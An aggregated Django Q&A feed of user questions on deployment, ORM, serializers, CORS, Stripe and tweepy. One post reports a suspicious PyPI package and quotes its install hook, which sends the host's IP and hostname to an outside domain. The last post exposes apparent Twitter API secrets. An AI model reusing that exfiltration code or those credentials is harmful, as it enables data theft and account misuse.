Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
Deploying heroku host(?) to git not working
I am very new to web development and just started working through this: Django for Beginners However, I am stuck at page 51 -> Deployment. The author is describing how to push the heroku web host to git, which should work like this: (pages) $ git push heroku master output: error: src refspec master does not match any error: failed to push some refs to 'https://git.heroku.com/boiling-caverns-68497.git' I tried going through this thread to find a solution but none of the provided answers made it work. The closest I came to make it work was this: (pages) $ git push heroku main output: Enumerating objects: 29, done. Counting objects: 100% (29/29), done. Delta compression using up to 8 threads Compressing objects: 100% (27/27), done. Writing objects: 100% (29/29), 4.17 KiB | 1.39 MiB/s, done. Total 29 (delta 3), reused 0 (delta 0), pack-reused 0 remote: Compressing source files... done. remote: Building source: remote: remote: -----> Building on the Heroku-20 stack remote: -----> Determining which buildpack to use for this app remote: ! No default language could be detected for this app. remote: HINT: This occurs when Heroku cannot detect the buildpack to use for this application automatically. remote: See https://devcenter.heroku.com/articles/buildpacks remote: … -
ConnectionResetError: [Errno 104] Connection reset by peer "Django"
I facing connection error issue on my server . I dont know what's causing them as this problem arises for no particular reason. Whenever it arises all the requests get halted but all the request get through after few minutes. I am guessing it is happening because of the threading process I am using for uploading files(may be , not sure) . Any help regarding this is much appreciated. Here is the error I am facing . Thanks Exception occurred during processing of request from ('0.0.0.7', 23266) web_1 | Traceback (most recent call last): web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 683, in process_request_thread web_1 | self.finish_request(request, client_address) web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 360, in finish_request web_1 | self.RequestHandlerClass(request, client_address, self) web_1 | File "/usr/local/lib/python3.9/socketserver.py", line 747, in __init__ web_1 | self.handle() web_1 | File "/usr/local/lib/python3.9/site-packages/django/core/servers/basehttp.py", line 171, in handle web_1 | self.handle_one_request() web_1 | File "/usr/local/lib/python3.9/site-packages/django/core/servers/basehttp.py", line 179, in handle_one_request web_1 | self.raw_requestline = self.rfile.readline(65537) web_1 | File "/usr/local/lib/python3.9/socket.py", line 704, in readinto web_1 | return self._sock.recv_into(b) web_1 | ConnectionResetError: [Errno 104] Connection reset by peer -
Convert a complex SQL query in Django ORM
In my project i have an SQL query for extract some results from two tables like thisone: SELECT read_date, unit_id, device_id, proj_code, var_val FROM public.api_site_varsresults AS SV, public.api_site_results AS SR WHERE (read_date >= '2021-06-21' AND read_date <= '2021-06-24') AND SV.id_res_id = SR.id i wolud to use this query in my django project using ORM but i try to do : varsresults.objects.filter(<conditions>).fields(<fields>) but is not correct, i don't know how i can link two tables, select specific fields and filter for that condition in django ORM Can someone help me please? So many thanks in advance Manuel -
Possible dependency confusion vulnerabilities in pypi (Python)?
Possible dependency confusion vulnerabilities in pypi ! I made a discovery, it's a bit of a mystery to me. I'm currently developing a Django web app and using a tool called pip-licenses I could output all the packages with their corresponding licenses. When doing so I discovered a package that I never installed: pkg-resources (https://pypi.org/project/pkg-resourcess/#description) at first glance I could tell something was different about this package, first of all no version, and no license. I downloaded the source and their is some strange call to the dev's website: def _post_install(): ip = requests.get('https://api.ipify.org').text ipText = format(ip); myhost = os.uname()[1] # [...] # The call to the dev website: r = requests.get("https://kotko.me?"+company+name+"="+base64_message) I found the dev website clicking on source from the pypi site wich took me to (what I think is) a private repo: https://github.com/kotko/bravado-decorators, I can only assume his account is: https://github.com/kotko. We can see that in his description the website is mentioned. My current requirements.txt: boto3==1.17.97 crispy-bootstrap5==0.4 dj-database-url==0.5.0 django==3.2.4 django-cors-headers==3.7.0 django-crispy-forms==1.12.0 django-oauth-toolkit==1.5.0 django-otp==1.0.6 django-redis==5.0.0 django-storages==1.11.1 djangorestframework==3.12.4 drf-nested-routers==0.93.3 gunicorn==20.1.0 httptools==0.2.0 pillow==8.2.0 psycopg2-binary==2.9.1 qrcode==6.1 sentry-sdk==1.1.0 social-auth-app-django==4.0.0 uvicorn==0.14.0 uvloop==0.15.2 whitenoise==5.2.0 To reproduce, on ubuntu: python3 -m venv venv source ./venv/bin/activate pip install -r requirements.txt pip install pip-licenses pip-licenses | grep … -
Take objects outside list django rest framework
I'm using django & django rest framework and I have a problem with this: I have a json like this after using get method. I'm Using Django REST Framework 3. [ { "favorites": [ { "id": 1, "name": "Vin School" }, { "id": 2, "name": "School" }, { "id": 3, "name": "High School" }, { "id": 4, "name": "Primary School" } ] } ] But how can I do to get this: [ { "id": 1, "name": "Vin School" }, { "id": 2, "name": "School" }, { "id": 3, "name": "High School" }, { "id": 4, "name": "Primary School" } ] Any suggestion. Thank you. I have my serializer below: My Serializer: class SchoolFavoriteSerializer(serializers.ModelSerializer): class Meta: model = School fields = ('id', 'name',) class ParentFavoriteSchoolHomePageSerializer(serializers.ModelSerializer): class Meta: model = Parent fields = ('favorite_schools',) def to_representation(self, instance): rep = super().to_representation(instance) rep["favorite_schools"] = SchoolFavoriteSerializer(instance.favorite_schools.all()[:4], many=True).data return rep -
foreign key in django-impor-export
First of all pardon me for my poor English. I'm using django-import-export to upload excel file into my student model that has foreign key relationship with university model student.. models.py: class Student(models.Model): institution = models.ForeignKey(University, on_delete=models.CASCADE) id = models.CharField(max_length=200, primary_key=True) first_name = models.CharField(max_length=200) middle_name = models.CharField(max_length=200) last_name = models.CharField(max_length=200) age = models.IntegerField() faculty = models.CharField( max_length=200, null=True, blank=True) program = models.CharField( max_length=200, null=True, blank=True) def __str__(self): return self.first_name university.. models.py: class University(models.Model): name = models.CharField(max_length=300) email = models.EmailField(max_length=255, unique=True) phone_no1 = PhoneNumberField() phone_no2 = PhoneNumberField(blank=True) fax_no = PhoneNumberField() website = models.URLField(max_length=200) pob = models.IntegerField() city = models.CharField(max_length=200, blank=True) logo = models.ImageField(upload_to="logos/", blank=True, null=True) def __str__(self): return self.name After reading django-import-export documentation about ForeignKeyWidget I edited my resources.py file as following and it works fine when I upload excel file that contain institution id and other student information resources.py class StudentResource(resources.ModelResource): institution = fields.Field( column_name='institution', attribute ='institution', widget = ForeignKeyWidget(University, 'id') ) class Meta: model=Student But I don't want to include institution id into my excel file while I am uploading, because I can find the institution id from Registrar Staff logged in since the RegistrarStaff model has foreign key relationship with university model class RegistrarStaff(models.Model): user = models.OneToOneField(User, on_delete = … -
Dynamically save the Django form
I am trying not to use formset in my form. Instead of that, I trying to create form dynamically and save all forms data in DB. I can create a dynamic form, but whenever I create multiple forms in "create order", it always saves the last forms data. For example, once I create 3 forms, and after saving the form, the table shows me only 3rd form data, which means it does not save all data together. views.py def create_order(request): from django import forms form = OrderForm() if request.method == 'POST': forms = OrderForm(request.POST) if forms.is_valid(): po_id = forms.cleaned_data['po_id'] supplier = forms.cleaned_data['supplier'] product = forms.cleaned_data['product'] part = forms.cleaned_data['part'] order = Order.objects.create( po_id=po_id, supplier=supplier, product=product, part=part, ) forms.save() return redirect('order-list') context = { 'form': form } return render(request, 'store/addOrder.html', context) forms.py class OrderForm(forms.ModelForm): class Meta: model = Order fields = ['supplier', 'product', 'part','po_id'] widgets = { 'supplier': forms.Select(attrs={'class': 'form-control', 'id': 'supplier'}), 'product': forms.Select(attrs={'class': 'form-control', 'id': 'product'}), 'part': forms.Select(attrs={'class': 'form-control', 'id': 'part'}), } HTML <form action="#" method="post" id="form-container" novalidate="novalidate"> {% csrf_token %} <div class="form"> <div class="form-group"> <label for="po_id" class="control-label mb-1">ID</label> {{ form.po_id }} </div> <div class="form-group"> <label for="supplier" class="control-label mb-1">Supplier</label> {{ form.supplier }} </div> <div class="form-group"> <label for="product" class="control-label mb-1">Product</label> {{ form.product … -
Django sharing session id across subdomains
I have a Django powered website at example.com. There is another fronted app (working with REST API) which we want to host at store.example.com. What I want to achieve is to share session id between these domains. Because users will log in at example.com and then can go to store.example.com, if they wish. I found this gist that shows: DOMAIN = 'store.example.com' CSRF_COOKIE_DOMAIN = DOMAIN SESSION_COOKIE_DOMAIN = DOMAIN Are the above settings enough for my purpose? What confuses me is that some answers in stackoverflow says that both sites should be powered by Django. -
Trying to render a django form field as a variable in a script tag in an html template, but the javascript isn't working
My issue is simple enough--I am trying to render a form field from a django form into a javascript variable, defined within a tag, within a django template. When I output a CharField, there's no problem. But when I try to render a ChoiceField, the resulting output breaks the html, and prevents the script tag from correctly parsing my variable. To demonstrate my setup, I have a form defined in forms.py, exactly like this example form: from django import forms form = TestForm(forms.Form): testfield = forms.ChoiceField(initial="increase_rate", choices=[ ("a", "option a"), ("b", "option b"), ("c", "option c"), ("d", "option d") ]) I am instantiating the form in views.py, and passing it into a django template to be rendered. from django.shortcuts import render from .forms import TestForm [...] @require_http_methods(["GET"]) def webpage(request): form = TestForm() return render(request, 'index.html', {"form":form}) Then, finally, in my template, I have something like the following: [...] <script> window.testfield = '{{ form.testfield }}' </script> [...] Up until this point, everything works perfectly. No trouble at all. But when I render the field into the template, and inspect it in my browser, I get the following: <script> window.testfield = '<select name="trigger" id="id_trigger"> <option value="a" selected>option a</option> <option value="b">option b</option> <option … -
Github and Web deployment Issues on Heroku
I had deployed my django site on heroku.I have been facing some problems.When I add products or users in admin page,It just remains for one day and next day those products and users that i add it dissapears and another thing is how am I suppose to reflect those changes made in admin page to github repository.So I can clone it back to my computer for some purposes -
Detecting database changes in Django
I am trying to detect changes in database from my django app. For example, if entry in database table gets deleted, I need to call some function. So those changes goes not from the code, its done by user in db. Is there some module or something to detect those changes? P.S. I have tried using signals, but not success @receiver(post_delete, sender=TranslationsKeys) def post_delete_merchant_active_translation(sender, instance, **kwargs): print(f'Deleted {instance}') -
Using Multithreading in django Freezes the site
I am making a Django site in which I have to Upload an image and after Upload, in the background, I am doing some processing on the image in which I am using Threading and it successfully works also because previously after uploading the image POST Request used to take 10-20 seconds but now it just happens in a fraction of second and all that processing happens in background but the problem is when that processing happens in the background... Django does not take any NEW HTTPRespone meaning if I wish to go on to some other link it just rotates and rotates until that thread's work is complete, Here's my code: def upload(requests): if requests.method == 'POST': img = requests.FILES['image'] img_uploader = Image(image=img) img_uploader.save() image_link = str(img_uploader.image).split("/")[-1] start_threading_work(image_link, img_uploader.image_id) # code of this function is below print("UPLOAD FUNCTION OVER") return redirect('/') # it successfully redirects def start_threading_work(image_link, image_id): keyword_thread = threading.Thread(target=image_keyword_generator, args=(image_link, image_id), daemon=True) keyword_thread.start() encoding_thread = threading.Thread(target=ImageEncoding, args=(image_link, image_id), daemon=True) encoding_thread.start() As you can see the third last line of the upload function which is start_threading_work(__, __) it starts the thread and also redirects me. But it refrains to load any new page till the Thread's work is … -
django-allauth - overriding login page template - form not posting
I am using Django 3.2 and django-allauth 0.44 I am trying to provide my own templates - e.g. login etc. I have started with the login template - however, although the template is correctly shown at http://127.0.0.0.1:8000/accounts/login, when I submit the form, the page just quickly reloads and there are no error messages, and I cannot even login using the correct credentials. Here is the relevant code snippet from my template: {% extends 'base.html' %} {% load static %} {% load account socialaccount %} {% block header %} {% include "partials/logo_only_header.html" %} {% endblock header %} {% block head_styles %} <style> .btn-google { color: white; background-color: #50c7c7; } .btn-facebook { color: white; background-color: #4267B2; } </style> {% endblock head_styles %} {% block content %} <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Sign In</h5> <form class="form-signin" action="{% url 'account_login' %}" method="POST"> {% csrf_token %} <div class="form-label-group"> <input id="id_login" type="text" name="login" max-length="150" class="form-control" autocomplete="username" placeholder="Username" required autofocus> <label for="id_login">Username</label> </div> <div class="form-label-group"> <input id="id_password" type="password" class="form-control" autocomplete="current-password" placeholder="Password" required> <label for="id_password">Password</label> <a class="float-right" href="{% url 'account_reset_password' %}"><small>Forgot Password?</small></a> </div> <br /> <div class="custom-control custom-checkbox mb-3"> <input type="checkbox" class="custom-control-input" id="remember"> <label class="custom-control-label" for="remember"><small>Remember … -
run django with supervisor and gunicorn
I am running django app through gunicorn with supervisor. although supervisor starts the app and app is running fine through supervisor but is says test FATAL Exited too quickly (process log may have details) due to this i can not control/stop my app through supervisor. i have checked logs but the log files are empty. CONFIG FILE [program:test] directory=/home/djangouser/mysite command=/home/djangouser/env/virtualenv/bin/gunicorn mysite.wsgi --config /home/djangouser/conf/gunicorn.py autostart=true autorestart=true stderr_logfile=/home/djangouser/gunicorn/gunicorn.out.log stdout_logfile=/home/djangouser/gunicorn/gunicorn.err.log user=root I repeat after supervisorctl update app is running but giving error. -
Send messages to django channel(websocket) by channel name
I'm trying to send message in to websocket knowing its channel name. await channel_layer.send( user_channel, { "type": "send", "text_data": json.dumps(message), }, ) But I'm getting error: Exception inside application: 'dict' object has no attribute 'encode' Traceback (most recent call last): File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/staticfiles.py", line 44, in __call__ return await self.application(scope, receive, send) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/routing.py", line 71, in __call__ return await application(scope, receive, send) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/routing.py", line 150, in __call__ return await application( File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/consumer.py", line 94, in app return await consumer(scope, receive, send) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/consumer.py", line 58, in __call__ await await_many_dispatch( File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/utils.py", line 51, in await_many_dispatch await dispatch(result) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/consumer.py", line 73, in dispatch await handler(message) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/generic/websocket.py", line 211, in send await super().send({"type": "websocket.send", "text": text_data}) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/channels/consumer.py", line 81, in send await self.base_send(message) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/daphne/server.py", line 234, in handle_reply protocol.handle_reply(message) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/daphne/ws_protocol.py", line 202, in handle_reply self.serverSend(message["text"], False) File "/home/user/.local/share/virtualenvs/cloud-server-i0W5QN0u/lib/python3.8/site-packages/daphne/ws_protocol.py", line 256, in serverSend self.sendMessage(content.encode("utf8"), binary) AttributeError: 'dict' object has no attribute 'encode' WebSocket DISCONNECT /ws/device_data/new/ [127.0.0.1:36296] Is it possible to send message like this, or I should always implement functions to handle and send messages in consumer class? Because now, when I'm trying to use such functions it works. async def send_message(self, message): # Send message to … -
How to write a v-if condition for comparing django accessed value "{{cust_package}}" and vue.js "<%radio_price%>"
And here I am trying to write if statement and also I have interpolated a value in vue.js like "{{cust_package}}" accessed In django and <%radio_price%> accessed in vue.js for both i am trying to write a if condition like "v-if="radio_price == {{cust_package}}" So this condition is not working so How can we write condition for both django and vue.js. The main issue is i want to write a if condition for both accessed value in django and vue.js I want to compare both the value by using v-if Django backend code return render(request, 'postad.html', {'user_type': user_type, 'cust_package': cust_package, 'package_value': price_value, 'cust_package_ads': cust_package_ads}) from above code I have accessed cust_package into below template. And here I am trying to write if statement and also I have interpolated a value in vue.js like "{{cust_package}}" accessed In django and <%radio_price%> accessed in vue.js for both i am trying to write a if condition like "v-if="radio_price == {{cust_package}}" So this condition is not working so How can we write condition for both django and vue.js <div> <div> <p> <input type="radio" name="price_Ads_package" class="price_1"v-model="radio_price" value="$2.99 - 6 Ads - Month"><span class="radio_price"> $2.99 - 6 Ads/Month</span> </p> <p> <input class="price2" type="radio" v-model="radio_price" name="price_Ads_package" class="price_1" value="$4.99 - 12 … -
CORS issue in Django?
Access to XMLHttpRequest at 'http://127.0.0.1:8000/' from origin 'http://localhost:62570' has been blocked by CORS policy: Request header field access-control-allow-origin is not allowed by Access-Control-Allow-Headers in preflight response. I have tried adding django-cors-headers middleware and CORS_ALLOW_ALL_ORIGINS = True and I have also made ALLOWED_HOSTS = ['*'] but still getting same CORS error. I had the same error with NestJS but after adding app.enableCors(); it got resolved. Here is my settings.py file from pathlib import Path BASE_DIR = Path(__file__).resolve(strict=True).parent.parent DEBUG = True ALLOWED_HOSTS = ['*'] INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'rest_framework', ] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'basic_app.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'basic_app.wsgi.application' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_URL = '/static/' # CORS CORS_ALLOW_ALL_ORIGINS = True # CORS_ALLOWED_ORIGINS = [ # "http://localhost:62570", # "https://example.com", # "https://sub.example.com", … -
Django filter an already prefetched query set
I am using Django Rest Framework to get the data I use for the page. The Json is nested and contains a list of cards and their details. This use to create a table of cards on my page. I am trying to create a filter for this table and have manage to get it working if the user was to filter the data for one filter. However if the user wanted to filter by two fields it doesn't work and just filters by the last filter used. I know this is because when the code goes through the if statements I am using a new queryList of data rather than the already filtered queryList. However I cannot seem to filter the queryList. I would like to filter by card name and card type. Json: [ { "id": "e65a10a9-df60-4673-9c2d-3b0966545ac3", "code": "SS3", "keyruneCode": "SS3", "name": "Signature Spellbook: Chandra", "cards": [ { "name": "Chandra, Torch of Defiance", "type": "Planeswalker" }, ... ] } ] view: class SetsIndividualData(ListAPIView): serializer_class = SetSerializers def get_queryset(self): SQL_EXPRESSION = "CAST((REGEXP_MATCH(number, '\d+'))[1] as INTEGER)" setCode = self.kwargs.get('setCode', None) queryList = Set.objects.filter(code=setCode.upper()).prefetch_related( Prefetch('cards', queryset=Card.objects.exclude(side='b').extra(select={'int': SQL_EXPRESSION}).order_by('int', 'number').prefetch_related( Prefetch('inventory', queryset=Inventory.objects.filter(user_id=self.request.user)) ))) name = self.request.query_params.get('name', None) types = self.request.query_params.get('types', None) if name: … -
What service do i need for hosting django (backend) + postgresql (database) on GCP
I want to know what service in Google cloud Platform that i need to deploy my backend django + postgresql ? Im developing a mobile app using flutter. -
Session Expiry Django
The session cookie age is set to five minutes and even after that the session is not getting expired in Django. Do we need to pass the session validity to frontend? The app works with Django (2.1.1) in backend and Angular in frontend. Provided the following details in the settings.py file SESSION_COOKIE_AGE = 5*60 DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.TokenAuthentication', 'rest_framework.authentication.SessionAuthentication', ), INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.sessions',] -
Django Registration form - first_name and last_name fields showing but data isn't passing to request.POST
I've used the inbuilt UserCreationForm to include email, first_name, and last_name fields. The email field works perfectly. But first_name, last_name fields are not working. They do show up on the front end, but after filling the form they aren't showing up in request.POST (which we use to create the User inside views.py). UserRegistrationForm in forms.py class UserRegistrationForm(UserCreationForm): first_name = forms.CharField(label='First Name',widget=forms.TextInput(attrs={'placeholder': 'First Nameee', 'class':'form-control'}),max_length=150,required=True) last_name = forms.CharField(label='Last Name',widget=forms.TextInput(attrs={'placeholder': 'Last Nameee', 'class':'form-control'}),max_length=150,required=True) email = forms.EmailField(label='Email',widget=forms.EmailInput(attrs={'placeholder': 'Enter your email', 'id':'user_email', 'class':'form-control'}),max_length=50,required=True) username = forms.CharField(label='Username',widget=forms.TextInput(attrs={'placeholder': 'Enter your username', 'id':'user_name', 'class':'form-control'}),max_length=50,required=True) password1 = forms.CharField(label='Password',widget=forms.PasswordInput(attrs={'placeholder': 'Enter your password', 'id':'user_password', 'class':'form-control'}),max_length=50,required=True,help_text='Your password must contain at least 8 characters.') password2 = forms.CharField(label='Confirm Password',widget=forms.PasswordInput(attrs={'placeholder': 'Enter confirm password', 'id':'confirm_password', 'class':'form-control'}),max_length=50,required=True,help_text='Enter the same password as above') class Meta: model=User fields=['first_name','last_name','email','username','password1','password2'] UserRegisterView in views.py class UserRegisterView(View): template_name = 'authentication/auth-register.html' def get(self, request): if 'username' in request.session: return redirect('dashboard') else: return render(request, self.template_name, {'form': UserRegistrationForm}) def post(self, request): if 'username' in request.session: return redirect('dashboard') else: if request.method == 'POST': print(request.POST) first_name = request.POST.get('first_name') last_name = request.POST.get('last_name') username = request.POST.get('username') email = request.POST.get('email') password1 = request.POST.get('password1') password2 = request.POST.get('password2') if username == '': data={} data['error_message'] ='username field is empty' return JsonResponse(data,safe=False) elif email == '': data={} data['error_message'] ='email field is empty' return JsonResponse(data,safe=False) … -
I have issue generating report in Django Rest framework from both product and order
I to generate a report from this below code I have this in my model class Category(models.Model): name = models.CharField(max_length = 255, unique=True) description = models.TextField(blank=True, null=True) slug = models.SlugField(null=True, blank=True, unique=True) created_at = models.DateTimeField(auto_now=False, auto_now_add=True, null=True) class Product(models.Model): name = models.CharField(max_length = 200, unique=True) description = models.TextField(blank=True, null=True) slug = models.SlugField(null=True, blank=True, unique=True) image = models.ImageField(upload_to='uploads/', blank=True, null=True) # thumbnail = models.ImageField(upload_to='uploads/thumbnails/', blank=True, null=True) category = models.ForeignKey(Category, related_name="products", on_delete=models.CASCADE) created_at = models.DateTimeField(auto_now=False, auto_now_add=True, null=True) class Order(models.Model): STATUS_CHOICES = ( ('Pending', 'Pending - Order is made but not delivered yet'), ('Arrive', 'Arrive - Order is made and arrive to store'), ) product = models.ForeignKey(Product, related_name="orders", on_delete=models.CASCADE) quantity = models.IntegerField() price = models.DecimalField(max_digits=10, decimal_places=2) user = models.ForeignKey('auth.User', related_name='orders', on_delete=models.CASCADE) status = models.CharField(max_length=128, choices=STATUS_CHOICES, default='Pending') shop_name = models.CharField(max_length=255, null=True) total_price = models.DecimalField(max_digits=10, decimal_places=2, null=True) created_at = models.DateTimeField(auto_now=False, auto_now_add=True, null=True) I have this in my serializer file class productReportSerializers(serializers.ModelSerializer): category = serializers.SlugRelatedField(queryset=Category.objects.all(), slug_field='name', required=True) class Meta: model = Product fields = "__all__" I want to get the sum of the product by month and group by year and category -
Django Stripe InvalidRequestError: Request req_******: Not a valid URL
I'm using Stripe with django, but while clicking the checkout it return the stripe.error.InvalidRequestError: Request req_N8rlEhXn42Cyxz: Not a valid URL (due to this question, First i tried my localhost:8000/payment/done then tried it using ngrok so that it could be accessible globaly, but still not working). it's my settings.py ..... STRIPE_PUBLIC_KEY = ( "pk_test_51J5kFsFfjIr2jaBwRlGyDJ9McmvvBGclXxkasIGggbh3Fz076sWsGv9z7pSWxy7WuncldIMXDFOq1U3j2bv2Zstu00lMmMnLjD" ) STRIPE_SECRET_KEY = ( "sk_test_51J5kFsFfjIr2jaBwg1Khel6tLkT70gTshaTeIwe0GjqaM57x6XvjZNxQE0udNk8BAVqjjEkCHtFs8KXBEglu2zbR005LkwAzaq" ) STRIPE_WEBHOOK_SECRET = "" and my views.py class CreateCheckOutSessoionView(View): def post(self, request, *args, **kwargs): ng = "https://localhost:8000" product_id = kwargs.get("pk") product = Product.objects.get(id=product_id) checkout_session = stripe.checkout.Session.create( payment_method_types=["card"], line_items=[ { "price_data": { "currency": "usd", "unit_amount": product.get_cent_price, "product_data": { "name": product.name, "images": [product.image.url], }, }, "quantity": 1, }, ], mode="payment", success_url=ng + "/payment/done", cancel_url=ng + "/payment/cancel", ) return JsonResponse({"id": checkout_session.id}) and it's how i'm sending post to this view <button type="button" id="checkout-button">Checkout</button> <script type="text/javascript"> const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value; // Create an instance of the Stripe object with your publishable API key var stripe = Stripe("{{ STRIPE_PUBLIC_KEY }}"); var checkoutButton = document.getElementById("checkout-button"); checkoutButton.addEventListener("click", function () { fetch("{% url 'payment:create-checkout-session' 1 %}", { method: "POST", headers: { 'X-CSRFToken': csrftoken, }, }) .then(function (response) { return response.json(); }) .then(function (session) { return stripe.redirectToCheckout({ sessionId: session.id }); }) .then(function (result) { // If redirectToCheckout fails due to a … -
Unable to login to Heroku admin panel after successfully creating superuser
I am trying to create a superuser for a Django website that I have deployed on Heroku via Github. I did this locally by running the console locally for my Heroku app as shown in the image below. I followed the prompts after typing the command 'python manage.py createsuperuser' and got a message stating that the superuser was created successfully. However, when I opened the app again and trying to access the admin panel using a staff account I got a message asking me to type the correct credentials for a staff account. The superuser credentials were not recognized when I tried to login as a regular user either. I ran migrations using the command python manage.py makemigrations; python manage.py migrate before creating the superuser and afterwards but every time I got a message saying that there are no migrations to apply. Can someone please help me fix this issue? Thank you. -
Tweets don't show up on Django webserver
Here's my html for my Django Twitter project. I am trying to display tweets in Django. <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Twitter</title> </head> <body> <div> {% for tweet in tweets %} {{tweet.text}} {% endfor %} </div> </body> </html> Here's my views.py: import tweepy from tweepy.auth import OAuthHandler from .models import Tweet from .models import Dates from django.core.paginator import Paginator, EmptyPage, InvalidPage from django.shortcuts import render from django.db import models, transaction from django.db.models import Q import os import tweepy as tw import pandas as pd consumer_key = 'IkzuYMak76UcXdnL9HabgIfAq' consumer_secret = 'Lt8wrtZ72ayMEcgZrItNodSJbHOPOBk5YnSpIjWbhXpB4GtEme' access_token = '1405021249416286208-GdU18LuSmXpbLTz9mBdq2dl3YqKKIR' access_token_secret = 'kOjGBSL2qOeSNtB07RN3oJbLHpgB05iILxT1NV3WyZZBO' def tweet_list(request): auth = tw.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tw.API(auth, wait_on_rate_limit=True) # Define the search term and the date_since date as variables searchword = Tweet.objects.get() date = Dates.objects.get() searchword.searchwordy # Collect tweets tweets = tw.Cursor(api.search, q=searchword.searchwordy, lang="en", since=date.datey).items(5) # Iterate and print tweets for tweet in tweets: print(tweet.text) return render(request, 'tweet/tweet-list.html', {'tweets': tweets}) My code works so far, but the HTML i am trying to render is to display my tweets. If anyone could find code to help me, comment below.